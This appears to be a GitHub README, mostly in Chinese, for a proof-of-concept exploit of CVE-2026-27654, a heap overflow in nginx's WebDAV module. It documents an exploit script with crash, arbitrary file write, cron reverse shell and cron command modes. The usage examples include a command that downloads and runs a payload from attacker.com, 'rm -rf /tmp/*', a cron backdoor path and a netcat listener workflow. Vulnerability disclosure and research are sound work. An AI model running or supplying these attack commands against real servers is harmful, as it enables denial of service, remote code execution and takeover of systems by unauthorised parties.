Debajyoti0-0/CVE-2026-27654-PoC

GitHub: Debajyoti0-0/CVE-2026-27654-PoC

CVE-2026-27654 的 PoC 工具,用于验证 NGINX WebDAV 模块中由整数下溢引发的堆溢出漏洞并演示其多种利用路径。

Stars: 0 | Forks: 0

# CVE-2026-27654 – nginx ngx_http_dav_module DAV Alias 路径处理 PoC 本仓库提供了 **CVE‑2026‑27654** 的概念验证 exploit,这是 nginx `ngx_http_dav_module` 中的一个 heap-overflow 漏洞。该 Bug 源于在处理带有特殊构造的 `Destination` header 和基于 `alias` 的 location 的 `MOVE`/`COPY` 请求时发生的 size‑t 下溢。

CVE-2026-27654 Logo

## 🔥 漏洞概述 **CVE-2026-27654** 是 NGINX HTTP WebDAV 模块中一个可远程触发的 **heap-based buffer overflow**,由 `ngx_http_dav_copy_move_handler()` (`src/http/modules/ngx_http_dav_module.c`) 中的 **integer underflow** 引起。当目标 URI 长度是通过从 `Destination` header 路径中减去配置的 location 前缀来得出时,就会发生此漏洞。由于两个操作数都是 `size_t` 类型,较短的目标路径会导致减法运算结果回绕为一个接近最大值的无符号整数。 这个回绕后的长度随后被用作 `memcpy()` 的 size 参数,导致越界的 heap 写入,破坏内存并立即使 NGINX worker 进程崩溃。远程、未经身份验证的攻击者可以通过发送单个精心构造的、针对 `alias` 映射 WebDAV location 的 **MOVE** 或 **COPY** 请求来稳定触发此情况。虽然 NGINX master 进程会自动重新生成失败的 worker,但反复发送请求会使服务保持在持续的 worker 崩溃循环中,从而导致持久的 `Denial-of-Service (DoS)`。 AddressSanitizer (ASan) 通过 `memcpy()` 中的 `negative-size-param` 错误验证了该漏洞,并追踪了从 `ngx_http_dav_copy_move_handler()` 到 `ngx_http_core_module.c` 的执行路径。该漏洞影响在编译时带有 `--with-http_dav_module` 且配置了 `alias` 指令的 **NGINX 0.5.13–1.28.2 (stable)** 和 **1.29.0–1.29.6 (mainline)**。该问题已在 **NGINX 1.28.3** 和 **1.29.7**(commit `ab4b5b8`, `PR #1210`)中通过在内存操作前对计算出的目标路径长度进行适当验证而得到修复。 ## ✨ 功能 - **交互式模式选择** – 运行时通过清晰的编号菜单在四种操作模式(crash、write‑file、cron‑shell、cron‑cmd)中进行选择。 - **Crash 触发** – 发送标准的 `MOVE`/`COPY` 请求,触发 size‑t 下溢并使易受攻击的 worker 崩溃。 - **Write‑file 模式** – 将任意内容上传到文件系统上的任何位置(需要具有可写 `alias` 的实验室环境设置)。 - **Cron‑shell 传递** – 将反向 shell cron 任务部署到 `/etc/cron.d/`,带有 `LHOST`/`LPORT` 的交互式提示以及启动监听器的提醒。 - **Cron‑cmd 传递** – 通过 cron 执行自定义命令;接受交互式输入或 `--cron-command` flag。 - **漏洞检查** (`--check`) – 非交互式模式,运行 crash 测试并输出明确的 `[VULNERABLE]` / `[NOT VULNERABLE]` 结论,并以代码 0 或 1 退出。 - **HTTP 代理支持** (`--proxy`) – 通过 HTTP/HTTPS 代理(例如 Burp Suite、mitmproxy)路由所有请求,用于调试或流量检查。 - **智能文件处理** – 检查触发文件是否已存在(通过 HEAD/GET),如果存在则跳过 PUT,避免不必要的上传。 - **灵活的 payload 选项** – 通过 `--payload-file`(二进制)、`--payload-text`(文字)提供 payload,或使用默认测试内容。 - **全面的命令行参数** – 微调 exploit 的各个方面:`--destination-path`、`--alias-len`、`--escape-depth`、`--method`、`--location-prefix` 等。 - **稳健的回退机制** – 如果未安装 `requests` 库,脚本将回退到 Python 标准库的 `http.client`(回退模式下禁用代理支持)。 ## 📦 安装 ``` git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git cd CVE-2026-27654-PoC pip install -r requirements.txt ``` ## 🚀 使用方法 ### 交互式模式(菜单) ``` python exploit.py --target 192.168.1.100:8080 ``` 您将看到一个编号菜单,并提示您选择一种模式。 ### 漏洞检查(非交互式) ``` python exploit.py --target 192.168.1.100:8080 --check ``` 这将强制使用 **crash** 模式,运行 exploit,并在以代码 `0` 或 `1` 退出之前输出 `[VULNERABLE]` 或 `[NOT VULNERABLE]`。 ### 使用 HTTP 代理 ``` python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080 ``` 所有 HTTP 请求都将通过指定的代理发送(对于使用 Burp 进行调试非常有用)。 ## ⚙️ Flags 参考 | Flag | 描述 | 示例 | |------|-------------|---------| | `--target HOST:PORT` | 目标 nginx 实例(默认:`127.0.0.1:8080`)。 | `--target 10.0.0.5:80` | | `--verbose`, `-v` | 显示完整的 HTTP 响应(header 和 body)。 | `-v` | | `--no-put` | 跳过初始 PUT(假定触发文件已存在)。对于重复测试很有用。 | `--no-put` | | `--location-prefix` | DAV location 前缀(默认:`/uploads/`)。必须与 nginx 配置中的 `alias` location 匹配。 | `--location-prefix /dav/` | | `--remote-name` | 放置在 DAV location 内的远程源文件名(默认:`triggerfile.txt`)。 | `--remote-name test.txt` | | `--method {MOVE,COPY}` | 用于目标请求的 DAV 方法(默认:`MOVE`)。 | `--method COPY` | | `--destination-path` | 目标 URI 路径 – 用于 crash 算术运算或传递模式的最终文件路径。 | `--destination-path /etc/cron.d/backdoor` | | `--alias-len` | 配置的 `alias` 字符串长度(用于 crash 算术显示,默认 `13`)。 | `--alias-len 20` | | `--escape-depth` | 用于逃离 DAV 根目录的 `../` 路径组件数量(默认 `1`)。 | `--escape-depth 3` | | `--payload-file` | 作为 payload 上传的本地文件。覆盖默认测试内容。 | `--payload-file ./shell.php` | | `--payload-text` | 用于 `write-file` 模式的文字 payload。 | `--payload-text ""` | | `--lhost` | 反向 shell 回调 host(用于 `cron-shell`)。如果省略,脚本将进行交互式提示。 | `--lhost 192.168.1.50` | | `--lport` | 反向 shell 回调 port(用于 `cron-shell`)。 | `--lport 4444` | | `--cron-command` | 通过 cron 运行的命令(用于 `cron-cmd`)。如果省略,脚本将进行交互式提示。 | `--cron-command "rm -rf /tmp/*"` | | `--wait` | cron 传递后等待任务执行的秒数(默认 `65`)。 | `--wait 120` | | `--check` | 运行漏洞检查(crash 测试,非交互式)。输出 `VULNERABLE`/`NOT VULNERABLE` 并以代码 0/1 退出。 | `--check` | | `--proxy PROXY_URL` | HTTP/HTTPS 代理 URL(例如 `http://127.0.0.1:8080`)。需要 `requests` 库。 | `--proxy http://127.0.0.1:8080` | ## 🧪 模式详解 ### `crash` 发送精心构造的 `MOVE`(或 `COPY`)请求以触发 size‑t 下溢。服务器将使 worker 进程崩溃。如果 master 进程配置正确,它将重新生成一个新的 worker。 **示例:** ``` python exploit.py --target 10.0.0.5:80 # 选择模式 1 (crash) ``` ### `write-file` 将文件上传到文件系统上的任意位置。仅当 DAV location 由指向可写目录的 `alias` 支持,并且 `Destination` 路径被精心构造以逃离 DAV 根目录时,此操作才有效。**仅在授权的实验室环境中使用。** **示例:** ``` python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt # 选择模式 2 (write-file) ``` ### `cron-shell` 将反向 shell cron 任务放入 `/etc/cron.d/`。 当您选择此模式时,脚本会提示您输入: - **LHOST** – 您的监听 IP - **LPORT** – 您的监听 port 然后它将显示 netcat 监听器命令,并等待您在监听器运行后按 **Enter**。 **示例(预填充):** ``` python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444 # 选择模式 3 (cron-shell) ``` ### `cron-cmd` 将自定义命令(通过交互式提供或通过 `--cron-command` 提供)放入 `/etc/cron.d/`。这对于执行任意系统命令很有用。 **示例(交互式):** ``` python exploit.py --target 10.0.0.5:80 # 选择模式 4,然后在提示时输入命令 ``` **示例(预填充):** ``` python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned" # 选择模式 4 (cron-cmd) ``` ## 📝 示例工作流(反向 Shell) ``` $ python exploit.py --target 192.168.1.100:8080 Available modes: 1. crash - Trigger the heap overflow crash 2. write-file - Write arbitrary content to an arbitrary location (authorized lab) 3. cron-shell - Deploy a reverse shell via /etc/cron.d 4. cron-cmd - Deploy a custom cron job Select mode (number or name): 3 Enter reverse shell callback host (--lhost): 192.168.1.50 Enter reverse shell callback port (--lport): 4444 [*] Please start your netcat listener in a new terminal: nc -lvnp 4444 [*] Press Enter once your listener is running... [press Enter] ... (script performs the exploitation) ... [+] Destination request accepted (201). [*] Waiting 65s for cron execution... [+] Reverse shell should connect shortly. ``` ## 📝 示例工作流(命令执行) 此示例演示了如何使用 `cron-cmd` 在目标系统上执行命令而无需监听器。 ### 交互式模式 ``` $ python exploit.py --target 192.168.1.100:8080 Available modes: 1. crash - Trigger the heap overflow crash 2. write-file - Write arbitrary content to an arbitrary location (authorized lab) 3. cron-shell - Deploy a reverse shell via /etc/cron.d 4. cron-cmd - Deploy a custom cron job Select mode (number or name): 4 Enter the command to run in cron (--cron-command): id > /tmp/owned ... (script performs the exploitation) ... [+] Destination request accepted (201). [*] Waiting 65s for cron execution... [+] Command should have executed. Check /tmp/owned on the target. ``` ### 预填充(非交互式) ``` python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload" # 选择模式 4 (cron-cmd) ``` 脚本将自动使用提供的 `--cron-command` 并跳过交互式提示,使其适合自动化。 ## 🛠️ 构建易受攻击的测试环境 要在受控环境中测试此 PoC,您可以从源代码构建带有 `--with-http_dav_module` 的 nginx,并配置带有 `alias` 和 `dav_methods` 的 location。包含了一个示例 Docker 配置(即将推出)。 ## 参考文献 - https://nginx.org/en/security_advisories.html - https://github.com/nginx/nginx/commit/ab4b5b8 - https://github.com/nginx/nginx/pull/1210 ## 📜 许可证 该项目基于 MIT 许可证授权 – 有关详细信息,请参阅 [LICENSE](LICENSE) 文件。 ## 🤝 贡献 欢迎提交 Issue 和 pull request。请确保您的贡献遵守相同的道德使用准则。
标签:Maven, Nginx, PoC, WebDAV, 暴力破解, 漏洞分析, 漏洞复现, 漏洞验证, 请求拦截, 负责任AI, 路径探测, 逆向工具, 配置错误